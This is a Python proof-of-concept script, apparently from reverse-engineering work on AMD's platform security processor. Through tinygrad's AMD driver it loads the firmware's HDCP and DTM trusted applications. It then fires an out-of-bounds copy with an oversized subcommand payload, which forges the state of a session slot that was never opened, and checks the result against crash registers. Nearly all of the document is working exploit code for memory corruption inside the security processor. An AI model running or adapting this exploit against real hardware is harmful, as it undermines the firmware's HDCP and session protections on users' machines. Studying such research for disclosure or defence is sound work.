1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
"""Clean proof: forge an UNOPENED session slot's state words via the OOB copy.
Probe = subcmd12 with N=1 and seq==0 (no early return, MAC len=10 -> no hang).
gate FAIL (slot not valid) -> one status
gate PASS (slot valid) -> 106 (MAC mismatch), the known post-gate status
We forge target = a+1 by writing payload[567..570]=2 and payload[575..578]=1
(slot1+0 and slot1+8 relative to rx_ids of slot a).
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=s,tc
t0=time.time()
try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except TimeoutError: return "TIMEOUT",None,time.time()-t0
def topo(h):
b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
return inv(dtm_sid,dtm_shm,b,2)[1]
def hdcp(cmd,mut=None):
b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
if mut: mut(b)
ps,out,dt=inv(sid,shm,b,cmd)
if out is None: return ps,None,None,dt
return ps, struct.unpack_from('<I',out,4)[0], out, dt
def subcmd12(tslot,N,seq,payload):
ln=5*N+25
def m(b):
struct.pack_into('<I',b,0xC,tslot); struct.pack_into('<I',b,0x10,12)
struct.pack_into('<I',b,0x14,ln+1)
b[0x28]=12; b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF; b[0x2C]=0
b[0x2F]=1 if seq else 0; b[0x30]=0; b[0x31]=0
b[0x42:0x42+len(payload)]=payload
return hdcp(0x0F,m)
def probe(sl):
ps,r,out,dt=subcmd12(sl,1,False,b"\x00"*5)
return (r, struct.unpack_from('<I',out,0x1424)[0] if out else None, dt)
for h in range(8): topo(h)
ps,ret,out,dt=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,0))
a=struct.unpack_from('<I',out,0x1410)[0]
tgt=a+1
print("opened slot a=%d ; target (NEVER opened) = %d\n" % (a,tgt))
print("probe(target) BEFORE : ta_ret=%s sub=%s (%.2fs)" % probe(tgt))
print("probe(a) BEFORE : ta_ret=%s sub=%s (%.2fs)" % probe(a))
pl=bytearray(b"\x41"*(5*255))
struct.pack_into('<I',pl,567,2) # target + 0 = 2
struct.pack_into('<I',pl,575,1) # target + 8 = 1
ps,r,out,dt=subcmd12(a,255,True,bytes(pl))
sub=struct.unpack_from('<I',out,0x1424)[0] if out else None
print("\nOOB FIRE from slot %d : N=255 copy=1275B (771B past rx_ids)" % a)
print(" psp=%s ta_ret=%s sub=%s elapsed=%.3fs hang=%s" % (ps,r,sub,dt,ps=="TIMEOUT"))
print(" crash regs:", {k:hex(v) for k,v in crash().items()}, " sOS:",psp.is_sos_alive())
print("\nprobe(target) AFTER : ta_ret=%s sub=%s (%.2fs)" % probe(tgt))
|
